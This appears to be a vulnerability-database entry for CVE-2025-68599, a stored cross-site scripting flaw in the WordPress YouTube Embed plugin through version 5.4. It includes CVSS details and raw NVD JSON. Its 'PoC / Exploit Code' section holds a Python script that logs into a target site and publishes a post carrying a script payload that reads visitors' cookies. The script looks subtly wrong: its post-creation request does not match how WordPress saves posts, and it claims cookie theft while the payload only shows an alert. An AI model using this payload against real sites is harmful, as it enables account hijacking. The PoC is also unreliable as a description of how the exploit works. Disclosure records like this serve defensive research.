Security Vulnerability Report
中文
CVE-2025-68599 CVSS 6.5 MEDIUM

CVE-2025-68599

Published: 2025-12-24 13:16:27
Last Modified: 2026-04-27 19:16:36

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Embeds For YouTube Plugin Support YouTube Embed youtube-embed allows Stored XSS.This issue affects YouTube Embed: from n/a through <= 5.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

YouTube Embed插件 <= 5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
## CVE-2025-68599 PoC - Stored XSS in YouTube Embed Plugin ## Target: WordPress YouTube Embed Plugin <= 5.4 ## Attack Vector: Inject malicious JavaScript via YouTube embed parameters import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" # Step 1: Login to WordPress session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } session.post(login_url, data=login_data) # Step 2: Create post with malicious YouTube embed # XSS payload in YouTube URL parameters post_url = f"{TARGET_URL}/wp-admin/post-new.php" xss_payload = 'https://www.youtube.com/watch?v=VIDEO_ID" onerror="alert(document.cookie)"' post_data = { 'post_title': 'Malicious YouTube Video', 'content': f'[youtube {xss_payload}]', 'post_status': 'publish' } response = session.post(post_url, data=post_data) # Step 3: When victim visits the page, XSS will be triggered # The injected JavaScript will execute in victim's browser context print("PoC executed. Malicious content posted.") print("Any user visiting the page will have their cookies stolen.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68599", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:27.413", "lastModified": "2026-04-27T19:16:35.647", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Embeds For YouTube Plugin Support YouTube Embed youtube-embed allows Stored XSS.This issue affects YouTube Embed: from n/a through <= 5.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/youtube-embed/vulnerability/wordpress-youtube-embed-plugin-5-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}